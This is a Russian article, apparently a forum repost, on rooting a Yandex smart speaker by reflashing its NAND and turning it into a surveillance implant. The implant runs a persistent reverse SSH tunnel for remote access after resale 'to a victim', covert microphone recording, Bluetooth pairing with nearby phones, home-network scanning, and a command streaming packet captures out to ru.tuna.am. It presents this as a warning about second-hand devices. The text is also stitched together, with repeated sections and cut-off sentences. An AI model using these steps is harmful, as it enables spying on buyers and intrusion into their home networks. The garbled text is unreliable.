stihl не предоставил(а) никакой дополнительной информации.
«Они следят за тобой через нее!» — наверняка каждый владелец умной колонки слышал это от кого‑то или даже сам так думает. Производители, конечно, опровергают подобные домыслы, но, даже если они шпионских функций не закладывали, теоретически такая возможность есть. Я решил поставить эксперимент и посмотреть, может ли колонка обернуться шпионом.
Все опыты я буду делать, как и в прошлой статье, на колонке «Яндекс Лайт» (YNDX-0025), но все точно так же сработает на моделях «Лайт 2», «Мини 2», «Станция 2» и «Мини 3». Опыты провожу с одной оговоркой: в целях безопасности все методы неустойчивы к полному сбросу устройства! То есть достаточно зажать кнопку сброса прошивки при включении, и все изменения сотрутся.
Колонки «Яндекса» имеют два режима сброса:
Программа багхантинга «Яндекса» Для просмотра ссылки Войдиили Зарегистрируйся отчеты, где обнаруженные проблемы требуют физического вмешательства в устройство, особенно пайки микросхем.
Для просмотра ссылки Войдиили Зарегистрируйся
Но в этот раз я в багбаунти не участвую, поэтому сразу организовал себе root с помощью перепрограммирования NAND. Для этого потребуется «сдуть» NAND и считать дамп с помощью программатора.
Плата с NAND.
Я работаю с TL866II Plus. Это не самый топовый программатор, но он недорогой и помог мне, когда я начинал разбираться с прошивками «Яндекс Станции». По сути, программатор только считывает и записывает дампы, у него нет функции пересчета ECC или работы с файловыми системами, как, например, у UFPI. Так что здесь нужно немного навыков, чтобы править дампы.
Стоит отдельно упомянуть, что на начальном этапе производства «Яндекс» не ставил пароли на USB-порты своих колонок, таких как «Мини 2» (YNDX-0020/21) и «Лайт» (YNDX-0025). Эти колонки могут работать как программаторы, поскольку поддерживают чтение и запись NAND через утилиту update, контролируя бэд‑блоки и пересчитывая ECC. Это, конечно, удобно, но таких устройств сейчас почти не найти. Если колонка была подключена к умному дому примерно с лета 2024 года, то, скорее всего, на нее уже установлен пароль.
Отпаиваем, прогревая феном одну половину ножек микросхемы, и, когда припой расплавится, поддеваем пинцетом и аккуратно приподнимаем край. То же проделываем с другой стороной. Рекомендую использовать нижний подогрев платы — это делает процесс отпаивания более комфортным. Чтобы не погнуть ножки, убедись, что они достаточно нагрелись, покачивая их вверх‑вниз без сильного нажима.
После отпаивания зачисть плату от бугорков старого припоя с помощью медной оплетки и флюса. Будь аккуратен и не старайся слишком усердно, чтобы не стереть часть маски дорожек! Микросхему затем промоем спиртом и убедимся, что ножки не погнуты и между ними нет остатков припоя. Затем помещаем микросхему в каретку переходника программатора и начинаем считывание.
Микросхема в программаторе.
Если его потерять, добавить устройство в учетную запись будет невозможно. Причины я нашел, но метод восстановления еще предстоит доработать.
Shadow
Passwd
Просмотрев первые два, можно обнаружить, что пользователь root существует и у него нет пароля. В inittab есть строка инициализации консоли, которая отличается от стандартной.
Inittab
А именно getty_rabbit_hole (Rabbit Hole частично обсуждали в Для просмотра ссылки Войдиили Зарегистрируйся) вместо getty. Дальше следуем по представленному пути и изучаем содержимое.
или Зарегистрируйся» вышел пост про похожий флаг, но в другом месте и для другой колонки («Мини 1»), да и содержимое немного другое. Но суть та же.
Для просмотра ссылки Войдиили Зарегистрируйся
Оказывается, если попасть в систему через Rabbit Hole, то дополнительно активируется возможность войти в систему через UART-консоль Linux, а не только CLI U-Boot.
Возвращаемся в inittab и правим строку getty_rabbit_hole на getty. Для этого в сыром дампе просто заменим символы после getty пробелами, чтобы размер файла не изменился и дамп остался на месте. Это очень важно.
Далее нужно пересчитать ECC. Способ пересчета я пока раскрыть не могу, но сделал Telegram-бота Для просмотра ссылки Войдиили Зарегистрируйся, который поможет пересчитать ECC для блока размером 512 + 2 байта (данные и user bytes). Он принимает файлы в формате bin, которые легко сделать с помощью любого Hex-редактора или командой dd.
Работа бота
С настройкой системы закончили, теперь нам нужно разрешить консоль UART в U-Boot. Флаг silent ограничивает вывод логов и запрещает ввод через UART-консоль. Этот параметр настраивается в скриптах U-Boot, называемых env (environment), для блокировки он выглядит так: silent=1.
или Зарегистрируйся U-Boot.
Лог затыкается после silent=1
В этом случае, как только U-Boot считывает эти значения, он перестает выводить логи в консоль. Скрипты env хранятся в нескольких копиях в дампе, поэтому меняем значение на silent=0 и пересчитываем ECC через бота. Поправь все копии или попробуй оставить одну рабочую, испортив остальные. Экспериментируй!
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь записываем дамп на NAND и возвращаем ее на плату колонки. Проверяем, чтобы не было никаких «соплей», отмываем флюс спиртом. И... нет! Ничего не выходит!
Все дело в том, что, кроме ECC, необходимо считать CRC для env и UBIFS. Это возможно, но требует больше усилий. Если ты захочешь применить этот метод, придется самостоятельно пересчитать контрольные суммы. В этом очень помогут Для просмотра ссылки Войдиили Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся. Как только все изменения будут внесены, система запустится и выведет подробный лог загрузки.
Поломанная загрузка
Лог успешного старта с silent=0
Старт ядра
В конце лога видим заветное...
login:
Кстати, насчет UART — подключайся через переходник. Есть Для просмотра ссылки Войдиили Зарегистрируйся, который подходит к нескольким моделям колонок «Яндекса».
Выполняем такую команду:
Когда скрипт завершит работу, подключись к колонке через USB и проверь результат с помощью Для просмотра ссылки Войдиили Зарегистрируйся.
ADB запускается без паролей и сразу предоставляет права root.
Для просмотра ссылки Войдиили Зарегистрируйся
Доказательство, что это колонка
Теперь UART-консоль нам больше не нужна, она остается только для наблюдения за поведением устройства. Всю работу будем делать через ADB, к которому можно подключиться даже по сети. Для этого колонка должна быть подключена к Wi-Fi (вручную или через приложение «Яндекс»).
Все, что описано выше, я бы не назвал взломом. Это просто конфигурирование системы, за исключением, пожалуй, правки дампа NAND.
Для просмотра ссылки Войдиили Зарегистрируйся
Если колонка была привязана к умному дому, там точно будет на что посмотреть.
Данные о геопозиции
Телефон
Почта
Колонка зачем‑то хранит твой номер телефона, электронную почту и геопозицию! Причем прочитать эти данные можно даже в дампе. Координаты указывают на центр города, но не спеши — впереди куча логов для изучения. В итоге мои поиски привели в папку daemons_logs, в файл maind.log. Приложение зачем‑то захотело узнать, где я живу, и записало это в лог (я немного сместил координаты, чтобы не раскрывать свой дом), при этом точность высокая — указан мой подъезд. Далее в логе есть смена геопозиции на центр города с комментарием «Got new device config:», но данные уже засвечены.
Лог maind c данными о геопозиции
Точная геопозиция
Подмененная геопозиция
Итак, первый урок: колонка, проданная на «Авито» без предварительной очистки, может раскрыть личную информацию владельца. Капитан Очевидность подскажет: «Сбрасывай данные перед продажей!», но, если колонка сломалась (как это часто бывает), сбросить данные уже не получится. Официальных сервисных центров почти нет, и техника отправляется на продажу как есть.
Когда настраиваешь Wi-Fi через приложение «Яндекс», параметры сети сохраняются в файле /data/wpa_supplicant в открытом виде. В этом файле могут быть сохранены настройки нескольких сетей. При подключении к новому Wi-Fi приложение добавляет записи в этот файл.
Это не проблема именно «Яндекса», так построен сам wpa_supplicant.
Точки доступа
Пока я не углублялся в исследование сетевых приложений «Яндекса» и отложил изучение токенов авторизации. Они хранятся в файле account_storage.dat, а его формат легко восстанавливается из логов колонки. Возможно, это станет темой для следующих статей.
Все это пока не тянет на багхантинг. Нам на такие находки наверняка скажут: «Мы знаем, но исправлять не будем. Пусть работает как работает — это же не опасно!» Конечно, физический доступ к устройству скорее единичный случай, чем массовый, но другие производители защищают данные пользователей шифрованием папок. Например, Sonos One Gen2: его файловую систему хоть и расшифровал Blasty (#HITB2023AMS), но он далеко не простой парень с программатором и парой часов времени. Нам же все досталось на блюдечке.
Содержимое daemons_logs
По сути, мы имеем полноценный шелл с кучей утилит, есть даже cron. Все команды работают без ограничений, никаких защит типа SELinux здесь нет. Для следующих этапов у нас есть все, что нужно: утилиты для работы с Bluetooth, и modprobe — для подключения своих модулей ядра, если они потребуются.
Команды Bluetooth:
Для редактирования файлов можно использовать vi. Однако, чтобы сохранить изменения, нужно перемонтировать файловую систему, так как она обычно помечена как ro (Read Only). Сменить режим просто:
mount -o remount,rw /
Теперь ты волен делать все, что захочешь, — править конфиги, добавлять свои файлы в папки и так далее.
Мы добавим:
или Зарегистрируйся, из которого скачал готовые бинарники.
Поддержу отечественного разработчика и применю для доступа к колонке утилиту Для просмотра ссылки Войдиили Зарегистрируйся, я ее использую для отладки всяческих Telegram-ботов и веб‑приложений на локальном компьютере, но недавно в ней появилась возможность поднимать SSH-сервер и подключаться к нему, не имея постоянного IP. Этот инструмент нам отлично пригодится и в этом случае.
Процессор колонки принадлежит к семейству AArch64, поэтому здесь подойдут некоторые программы, скомпилированные для Raspberry Pi, включая Tuna. Устанавливать их не будем, а просто скопируем скачанный с сайта исполняемый файл через ADB в папку /data.
Качаем, закидываем и даем права на выполнение:
Следуя инструкциям из личного кабинета Tuna, настрой свой токен доступа. После этого все должно быть готово для проверки!
Для просмотра ссылки Войдиили Зарегистрируйся
И снова все пошло не так! Проблема — в отсутствии сертификатов: колонка — это не обычный компьютер на Linux, поэтому система урезана. Мой товарищ с ником Mamaich предложил посмотреть в сторону curl и настройки его сертификатов, так как, вероятно, используется тот же механизм. Я пошел изучать Для просмотра ссылки Войдиили Зарегистрируйся и вскоре нашел все необходимое.
Для просмотра ссылки Войдиили Зарегистрируйся
Смысл в том, что переменной окружения SSL_CERT_FILE можно задать путь к пользовательскому SSL-сертификату. Но какой сертификат выбрать? Изучая содержимое папки /system/vendor/quasar/, я наткнулся на сертификат «Яндекса» для работы фирменного приложения. Почему бы не попробовать?
Для просмотра ссылки Войдиили Зарегистрируйся
Выполняем:
Теперь проверяем. Нужно снова перемонтировать файловую систему с возможностью записи.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь все отлично! Можно запустить SSH-сервер!
Для просмотра ссылки Войдиили Зарегистрируйся
Сервер запущен, проверяю подключение через телефон с помощью приложения JuiceSSH.
Подключение прошло успешно, колонка выполняет команды. Чтобы сервер автоматически запускался после перезагрузки, нужно внести изменения в файл /system/vendor/run.sh.
Правка в vi
Для просмотра ссылки Войдиили Зарегистрируйся
После перезагрузки в личном кабинете Tuna видим, что появился туннель. Пробуем подключиться к нему с нашим статическим паролем.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь все работает, и мы можем подключаться к колонке удаленно через SSH. Возможно, это не самый высокотехнологичный и продвинутый метод, но цели мы достигли: с минимальными усилиями научились использовать колонку как шпиона.
Перечень команд утилиты
Начнем со сканирования: вокруг моей колонки найдено несколько устройств, выводятся их MAC-адреса, а у некоторых даже подписано имя. Для демонстрации включу Bluetooth на своем телефоне Nokia XR20.
Телефон в сетиДля просмотра ссылки Войди или Зарегистрируйся
Теперь, когда телефон найден в списке, копируем его MAC и вводим команду pair для соединения. На телефоне появится экран с запросом на подключение и код, который совпадает с тем, что мы видим в консоли.
Для просмотра ссылки Войдиили Зарегистрируйся
Соглашаемся и отключаем сканирование, дальше сразу же запросим информацию о подключенном устройстве. В списке видим кучу полей: и понятных, и не очень. Между тем колонка присоединилась как аудиоустройство, и телефон может посылать ей звук, она же, в свою очередь, может регулировать громкость телефона!
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для сканирования можно использовать утилиту hcitool. Давай запустим скан и с ее помощью.
Для просмотра ссылки Войдиили Зарегистрируйся
Можно попробовать провернуть действия из статьи «Для просмотра ссылки Войдиили Зарегистрируйся», или попробовать запустить другие эксплоиты для Bluetooth-устройств в сети, или поменять профиль устройства и стать, например, клавиатурой! Возможно, это будет темой одной из следующих статей.
Можем скачать Для просмотра ссылки Войдиили Зарегистрируйся, скопировать ее на устройство, и она заработает. Следом запускаем и сканируем. Описание изощренных приемов с Nmap оставлю другим авторам и покажу здесь лишь несколько простых примеров для наглядности.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Уже неплохо, мы видим устройства в сети и можем попробовать постучаться на роутер. Вдруг там пароль по умолчанию вроде admin:admin? Это даст нам еще больше свободы. В итоге устройство может стать мостиком, с помощью которого злоумышленник получит доступ к твоей домашней сети.
или Зарегистрируйся и Для просмотра ссылки Войди или Зарегистрируйся Khadas. Прежде чем начинать запись, нужно остановить Quasar, чтобы освободить микрофоны. Сделать это просто, как показано на скриншоте ниже.
Запись аудио
Чтобы отрегулировать уровень усиления микрофонов, воспользуйся утилитой AlsaMixer.
Меню AlsaMixer
Записанный файл забираем, например через SFTP.
Мы можем пойти дальше и направить запись через ncat на свой ПК и получать потоковое аудио или перехватывать трафик приложения Quasar, ведь оно отправляет пакеты с аудиопотоком на сервер. Давай приступим к перехвату трафика колонки.
Для просмотра ссылки Войдиили Зарегистрируйся
Настроить его просто: нужно ввести данные для SSH-туннеля, которые используешь для входа на устройство, и указать команду для запуска tcpdump. В нашем случае это /data/tcpdump. Интерфейс для прослушивания — единственный, wlan0 (lo не в счет). Информацию об интерфейсах можешь посмотреть командой ifconfig.
Появилась небольшая загвоздка с перехватом трафика напрямую в Wireshark. Дело в том, что Tuna отправляет приветственную строку при запуске туннеля SSH. Чтобы анализ трафика в Wireshark прошел успешнее, удали первые две строки.
Для просмотра ссылки Войдиили Зарегистрируйся
Раз уж стандартный метод не сработал, а возиться дальше не было желания, я перехватил трафик через консоль тем же способом, что использует Wireshark, но сохранил его на компьютере в файл.
ssh root@ru.tuna.am -p 20585 "/data/tcpdump -s 0 -n -w - -U -i wlan0 2> /dev/null " > ~/remotecapture
Полезно указывать объем трафика, при достижении которого произойдет остановка, так как Wireshark может ругаться на слишком большие файлы. Я поступил проще: подождал немного и остановил захват комбинацией Ctrl-C. Затем удалил верхние две строки файла и загрузил его в Wireshark.
Для просмотра ссылки Войдиили Зарегистрируйся
Видим трафик! Например, пакет, летящий на clck.yandex.net. Но он зашифрован, и для его просмотра нужны сессионные ключи SSL. Это решается несложно — в сети полно инструкций по настройке системы для сохранения этих ключей в файл. Нам достаточно выполнить такую команду:
И начинаем ловить трафик.
Учти, что соединения, которые были открыты до запуска логирования, не раскроют свои ключи. Так что, возможно, колонку придется перезагрузить. Когда соберешь ключи и трафик, можно смотреть данные в расшифрованном виде и анализировать. Попробуй, это несложно!
Возможно, я тут подогреваю паранойю и недоверие, но посуди сам: не имея каких‑то особенных навыков в пентесте или взломе, используя Google и свои навыки работы с Linux, я смог «зарядить» колонку для слежки, кражи данных, саботажа умного дома, а также закрепления и бокового перемещения в сети.
Меня, как и многих пользователей, удивляет хранение личных данных без защиты, особенно учитывая, что «Яндекс» — далеко не стартап. За два года, что я с разной интенсивностью ковырялся в прошивках этих устройств, ничего кардинально не изменилось.
Какова вероятность, что кто‑то продаст колонку без сброса? Очень высокая! К сожалению, инженеры не продумали резервирование разделов загрузчиков, поэтому при каждом обновлении существует риск «окирпичивания». Я участвую в Для просмотра ссылки Войдиили Зарегистрируйся, посвященной ремонту этих колонок, и часто встречаю устройства с проблемой FIP CHK: FFFFFF. Это указывает на повреждение раздела TPL. Такое устройство уже невозможно сбросить без специальных знаний и программатора. Такие колонки оказываются на «Авито» и попадают к новым владельцам вместе со всей информацией. Разбирают их молниеносно!
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем, нарушение тайны переписки, прослушивание разговоров и чтение переписки граждан без их согласия преследуется по закону.
Отчасти это продолжение прошлой статьи про Rabbit Hole, потому‑то конец норы найдем в системе.
Все опыты я буду делать, как и в прошлой статье, на колонке «Яндекс Лайт» (YNDX-0025), но все точно так же сработает на моделях «Лайт 2», «Мини 2», «Станция 2» и «Мини 3». Опыты провожу с одной оговоркой: в целях безопасности все методы неустойчивы к полному сбросу устройства! То есть достаточно зажать кнопку сброса прошивки при включении, и все изменения сотрутся.
info
На самом деле все колонки «Яндекса» при полном сбросе откатывают свою прошивку до начальной версии, записанной при производстве.Колонки «Яндекса» имеют два режима сброса:
- полный сброс, при котором откат идет до самой начальной версии;
- сброс аккаунта: прошивка остается, но старый аккаунт удаляется, и колонка готова к новой привязке.
- Получение root-доступа к устройству.
- Удаленное управление через SSH или Tuna.
- Сканирование сетевых интерфейсов, включая Bluetooth.
- Запись аудио с помощью arecord.
- Перехват трафика колонки через tcpdump, Wireshark или sshdump.
Программа багхантинга «Яндекса» Для просмотра ссылки Войди
Для просмотра ссылки Войди
Но в этот раз я в багбаунти не участвую, поэтому сразу организовал себе root с помощью перепрограммирования NAND. Для этого потребуется «сдуть» NAND и считать дамп с помощью программатора.
Я работаю с TL866II Plus. Это не самый топовый программатор, но он недорогой и помог мне, когда я начинал разбираться с прошивками «Яндекс Станции». По сути, программатор только считывает и записывает дампы, у него нет функции пересчета ECC или работы с файловыми системами, как, например, у UFPI. Так что здесь нужно немного навыков, чтобы править дампы.
Стоит отдельно упомянуть, что на начальном этапе производства «Яндекс» не ставил пароли на USB-порты своих колонок, таких как «Мини 2» (YNDX-0020/21) и «Лайт» (YNDX-0025). Эти колонки могут работать как программаторы, поскольку поддерживают чтение и запись NAND через утилиту update, контролируя бэд‑блоки и пересчитывая ECC. Это, конечно, удобно, но таких устройств сейчас почти не найти. Если колонка была подключена к умному дому примерно с лета 2024 года, то, скорее всего, на нее уже установлен пароль.
Физическое вмешательство
Подробности разбора колонки я показывать не буду, но в сети полно видеороликов, да и сам процесс несложный. Прежде чем отпаивать NAND, мы «продуем» все ножки микросхемы при помощи флюса и обычного припоя. Не переживай, если между ножками останутся излишки припоя, — они не помешают. Это нужно, чтобы разбавить заводской припой, который обычно более тугоплавкий.Отпаиваем, прогревая феном одну половину ножек микросхемы, и, когда припой расплавится, поддеваем пинцетом и аккуратно приподнимаем край. То же проделываем с другой стороной. Рекомендую использовать нижний подогрев платы — это делает процесс отпаивания более комфортным. Чтобы не погнуть ножки, убедись, что они достаточно нагрелись, покачивая их вверх‑вниз без сильного нажима.
После отпаивания зачисть плату от бугорков старого припоя с помощью медной оплетки и флюса. Будь аккуратен и не старайся слишком усердно, чтобы не стереть часть маски дорожек! Микросхему затем промоем спиртом и убедимся, что ножки не погнуты и между ними нет остатков припоя. Затем помещаем микросхему в каретку переходника программатора и начинаем считывание.
info
Сразу сделай резервную копию считанного дампа, чтобы не потерять важные данные для авторизации в учетной записи. Особенно это касается области с пометкой AMLSECURITY! и раздела NV, где хранится файл с обфусцированным именем:416D6C4B65796D61737465724D61737465724B657900
Если его потерять, добавить устройство в учетную запись будет невозможно. Причины я нашел, но метод восстановления еще предстоит доработать.
Правим дамп
Как и в любом Linux, в файловой системе «Станции» есть папка /etc, в которой можно найти:- shadow;
- passwd;
- inittab.
Просмотрев первые два, можно обнаружить, что пользователь root существует и у него нет пароля. В inittab есть строка инициализации консоли, которая отличается от стандартной.
А именно getty_rabbit_hole (Rabbit Hole частично обсуждали в Для просмотра ссылки Войди
info
Пока я писал эту статью, на «Для просмотра ссылки ВойдиДля просмотра ссылки Войди
Оказывается, если попасть в систему через Rabbit Hole, то дополнительно активируется возможность войти в систему через UART-консоль Linux, а не только CLI U-Boot.
Возвращаемся в inittab и правим строку getty_rabbit_hole на getty. Для этого в сыром дампе просто заменим символы после getty пробелами, чтобы размер файла не изменился и дамп остался на месте. Это очень важно.
Далее нужно пересчитать ECC. Способ пересчета я пока раскрыть не могу, но сделал Telegram-бота Для просмотра ссылки Войди
warning
Пожалуйста, не нагружай бота слишком большими блоками текста, иначе я его отключу.
У файловой системы system (rootfs) нет проверки вроде vbmeta, так что все изменения проходят без проблем!
С настройкой системы закончили, теперь нам нужно разрешить консоль UART в U-Boot. Флаг silent ограничивает вывод логов и запрещает ввод через UART-консоль. Этот параметр настраивается в скриптах U-Boot, называемых env (environment), для блокировки он выглядит так: silent=1.
www
Подробнее — в Для просмотра ссылки ВойдиВ этом случае, как только U-Boot считывает эти значения, он перестает выводить логи в консоль. Скрипты env хранятся в нескольких копиях в дампе, поэтому меняем значение на silent=0 и пересчитываем ECC через бота. Поправь все копии или попробуй оставить одну рабочую, испортив остальные. Экспериментируй!
Для просмотра ссылки Войди
Теперь записываем дамп на NAND и возвращаем ее на плату колонки. Проверяем, чтобы не было никаких «соплей», отмываем флюс спиртом. И... нет! Ничего не выходит!
Все дело в том, что, кроме ECC, необходимо считать CRC для env и UBIFS. Это возможно, но требует больше усилий. Если ты захочешь применить этот метод, придется самостоятельно пересчитать контрольные суммы. В этом очень помогут Для просмотра ссылки Войди
В конце лога видим заветное...
Кстати, насчет UART — подключайся через переходник. Есть Для просмотра ссылки Войди
Ура, вошли!
Пароля нет, поэтому просто вводи root и заходи. Теперь у нас полноценная консоль с блек‑джеком и Алисой. Можно пошариться по системе, заглянуть в папки, стянуть конфиг ядра с помощью команды cat /proc/config.gz. Но учти, через UART это не очень удобно. В процессе копания ты быстро найдешь скрипт /system/vendor/quasar/activate_adb.sh, который активирует ADB в Linux (по крайней мере, очень похоже на Linux)!Выполняем такую команду:
/system/vendor/quasar/activate_adb.sh --all --network activate
info
Во время ввода могут лезть логи и сбивать отображение, но не переживай: твоя команда не стирается. Просто дописывай и нажимай Enter.Когда скрипт завершит работу, подключись к колонке через USB и проверь результат с помощью Для просмотра ссылки Войди
adb shell
ADB запускается без паролей и сразу предоставляет права root.
Для просмотра ссылки Войди
Теперь UART-консоль нам больше не нужна, она остается только для наблюдения за поведением устройства. Всю работу будем делать через ADB, к которому можно подключиться даже по сети. Для этого колонка должна быть подключена к Wi-Fi (вручную или через приложение «Яндекс»).
Все, что описано выше, я бы не назвал взломом. Это просто конфигурирование системы, за исключением, пожалуй, правки дампа NAND.
Неожиданно — OSINT!
Для начала проверим колонку на шпионаж и заглянем в папку /data, особенно если учесть, что программа багхантинга «Яндекса» имеет одну довольно любопытную приписку.Для просмотра ссылки Войди
Если колонка была привязана к умному дому, там точно будет на что посмотреть.
Колонка зачем‑то хранит твой номер телефона, электронную почту и геопозицию! Причем прочитать эти данные можно даже в дампе. Координаты указывают на центр города, но не спеши — впереди куча логов для изучения. В итоге мои поиски привели в папку daemons_logs, в файл maind.log. Приложение зачем‑то захотело узнать, где я живу, и записало это в лог (я немного сместил координаты, чтобы не раскрывать свой дом), при этом точность высокая — указан мой подъезд. Далее в логе есть смена геопозиции на центр города с комментарием «Got new device config:», но данные уже засвечены.
Итак, первый урок: колонка, проданная на «Авито» без предварительной очистки, может раскрыть личную информацию владельца. Капитан Очевидность подскажет: «Сбрасывай данные перед продажей!», но, если колонка сломалась (как это часто бывает), сбросить данные уже не получится. Официальных сервисных центров почти нет, и техника отправляется на продажу как есть.
Когда настраиваешь Wi-Fi через приложение «Яндекс», параметры сети сохраняются в файле /data/wpa_supplicant в открытом виде. В этом файле могут быть сохранены настройки нескольких сетей. При подключении к новому Wi-Fi приложение добавляет записи в этот файл.
Это не проблема именно «Яндекса», так построен сам wpa_supplicant.
Пока я не углублялся в исследование сетевых приложений «Яндекса» и отложил изучение токенов авторизации. Они хранятся в файле account_storage.dat, а его формат легко восстанавливается из логов колонки. Возможно, это станет темой для следующих статей.
Все это пока не тянет на багхантинг. Нам на такие находки наверняка скажут: «Мы знаем, но исправлять не будем. Пусть работает как работает — это же не опасно!» Конечно, физический доступ к устройству скорее единичный случай, чем массовый, но другие производители защищают данные пользователей шифрованием папок. Например, Sonos One Gen2: его файловую систему хоть и расшифровал Blasty (#HITB2023AMS), но он далеко не простой парень с программатором и парой часов времени. Нам же все досталось на блюдечке.
info
В прошивках станций «Макс» и «ТВ» папку /data уже начали шифровать, но произошло это не сразу.
В папке /data лежат логи работы приложений и демонов (daemons_logs). Это может пригодиться в работе, но давай продвинемся дальше и посмотрим доступные команды shell. При необходимости добавим свои.
Шелл
Чтобы увидеть список команд, просто дважды нажми Tab, и ты получишь полный перечень, причем он довольно неплох!По сути, мы имеем полноценный шелл с кучей утилит, есть даже cron. Все команды работают без ограничений, никаких защит типа SELinux здесь нет. Для следующих этапов у нас есть все, что нужно: утилиты для работы с Bluetooth, и modprobe — для подключения своих модулей ядра, если они потребуются.
Команды Bluetooth:
- hciattach;
- hciconfig;
- hcidump;
- hcitool;
- hciattach_sprd;
- bluealsa;
- bluealsa-aplay;
- bluemoon;
- bluetoothctl;
- bt-adapter;
- bt-agent;
- bt-device;
- bt-network;
- bt-obex;
- btattach;
- btmon.
Для редактирования файлов можно использовать vi. Однако, чтобы сохранить изменения, нужно перемонтировать файловую систему, так как она обычно помечена как ro (Read Only). Сменить режим просто:
mount -o remount,rw /
Теперь ты волен делать все, что захочешь, — править конфиги, добавлять свои файлы в папки и так далее.
Мы добавим:
- Nmap;
- nc;
- GDB;
- Tuna.
Туннель в обход
Давай настроим туннель, который даст нам удаленный доступ, как только колонка окажется у условной жертвы.Поддержу отечественного разработчика и применю для доступа к колонке утилиту Для просмотра ссылки Войди
Процессор колонки принадлежит к семейству AArch64, поэтому здесь подойдут некоторые программы, скомпилированные для Raspberry Pi, включая Tuna. Устанавливать их не будем, а просто скопируем скачанный с сайта исполняемый файл через ADB в папку /data.
Качаем, закидываем и даем права на выполнение:
Код:
curl -sfSL "https://releases.tuna.am/tuna/latest/tuna_linux_arm64.tar.gz" | tar -f - -xz
adb push ./tuna /data/
adb shell chmod +x /data/tuna
Следуя инструкциям из личного кабинета Tuna, настрой свой токен доступа. После этого все должно быть готово для проверки!
Для просмотра ссылки Войди
И снова все пошло не так! Проблема — в отсутствии сертификатов: колонка — это не обычный компьютер на Linux, поэтому система урезана. Мой товарищ с ником Mamaich предложил посмотреть в сторону curl и настройки его сертификатов, так как, вероятно, используется тот же механизм. Я пошел изучать Для просмотра ссылки Войди
Для просмотра ссылки Войди
Смысл в том, что переменной окружения SSL_CERT_FILE можно задать путь к пользовательскому SSL-сертификату. Но какой сертификат выбрать? Изучая содержимое папки /system/vendor/quasar/, я наткнулся на сертификат «Яндекса» для работы фирменного приложения. Почему бы не попробовать?
Для просмотра ссылки Войди
Выполняем:
export SSL_CERT_FILE=/system/vendor/quasar/ca-certificates.crt
Теперь проверяем. Нужно снова перемонтировать файловую систему с возможностью записи.
Для просмотра ссылки Войди
Теперь все отлично! Можно запустить SSH-сервер!
Для просмотра ссылки Войди
Сервер запущен, проверяю подключение через телефон с помощью приложения JuiceSSH.
Для просмотра ссылки Войди | Для просмотра ссылки Войди | Для просмотра ссылки Войди |
Подключение прошло успешно, колонка выполняет команды. Чтобы сервер автоматически запускался после перезагрузки, нужно внести изменения в файл /system/vendor/run.sh.
Для просмотра ссылки Войди
После перезагрузки в личном кабинете Tuna видим, что появился туннель. Пробуем подключиться к нему с нашим статическим паролем.
Для просмотра ссылки Войди
Теперь все работает, и мы можем подключаться к колонке удаленно через SSH. Возможно, это не самый высокотехнологичный и продвинутый метод, но цели мы достигли: с минимальными усилиями научились использовать колонку как шпиона.
info
Я намеренно не привожу информацию по отключению ОТА‑обновлений. Эта статья — демонстрация опасностей колонок с рук, а не руководство к действию!
Мы получили удаленное управление, а значит, новый пользователь добавил колонку в умный дом. Теперь можно стащить данные о телефоне, учетной записи и местоположении. Достаточно просто скачать несколько файлов, а затем продолжить разведку по другим каналам.
Щупаем Bluetooth
Начнем с Bluetooth: для работы с ним достаточно встроенных команд. В первую очередь используй bluetoothctl. Это интерфейс командной строки, который дает те же возможности, что и Bluetooth на телефоне или ПК. Утилита позволяет сканировать устройства вокруг и выполнять сопряжение. Кто же откажет Алисе в сопряжении?!Начнем со сканирования: вокруг моей колонки найдено несколько устройств, выводятся их MAC-адреса, а у некоторых даже подписано имя. Для демонстрации включу Bluetooth на своем телефоне Nokia XR20.
Теперь, когда телефон найден в списке, копируем его MAC и вводим команду pair для соединения. На телефоне появится экран с запросом на подключение и код, который совпадает с тем, что мы видим в консоли.
Для просмотра ссылки Войди
Соглашаемся и отключаем сканирование, дальше сразу же запросим информацию о подключенном устройстве. В списке видим кучу полей: и понятных, и не очень. Между тем колонка присоединилась как аудиоустройство, и телефон может посылать ей звук, она же, в свою очередь, может регулировать громкость телефона!
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для сканирования можно использовать утилиту hcitool. Давай запустим скан и с ее помощью.
Для просмотра ссылки Войди
Можно попробовать провернуть действия из статьи «Для просмотра ссылки Войди
Сканируем сети
Для сканирования локальной сети нам понадобится утилита Nmap. По умолчанию она не установлена, поэтому установим сами. Можно через ADB или же через SFTP (такое подключение работает поверх SSH, ничего дополнительно ставить не нужно).Можем скачать Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Для просмотра ссылки Войди
Уже неплохо, мы видим устройства в сети и можем попробовать постучаться на роутер. Вдруг там пароль по умолчанию вроде admin:admin? Это даст нам еще больше свободы. В итоге устройство может стать мостиком, с помощью которого злоумышленник получит доступ к твоей домашней сети.
Слушаем
Звук можно перехватывать из трафика Quasar или напрямую с микрофонов с помощью утилиты arecord, которая уже установлена. Я воспользовался советами из Для просмотра ссылки ВойдиЧтобы отрегулировать уровень усиления микрофонов, воспользуйся утилитой AlsaMixer.
Записанный файл забираем, например через SFTP.
Мы можем пойти дальше и направить запись через ncat на свой ПК и получать потоковое аудио или перехватывать трафик приложения Quasar, ведь оно отправляет пакеты с аудиопотоком на сервер. Давай приступим к перехвату трафика колонки.
Слушаем сеть
Для прослушивания трафика колонки воспользуемся Wireshark и его инструментом удаленного прослушивания под названием sshdump.Для просмотра ссылки Войди
Настроить его просто: нужно ввести данные для SSH-туннеля, которые используешь для входа на устройство, и указать команду для запуска tcpdump. В нашем случае это /data/tcpdump. Интерфейс для прослушивания — единственный, wlan0 (lo не в счет). Информацию об интерфейсах можешь посмотреть командой ifconfig.
Появилась небольшая загвоздка с перехватом трафика напрямую в Wireshark. Дело в том, что Tuna отправляет приветственную строку при запуске туннеля SSH. Чтобы анализ трафика в Wireshark прошел успешнее, удали первые две строки.
Для просмотра ссылки Войди
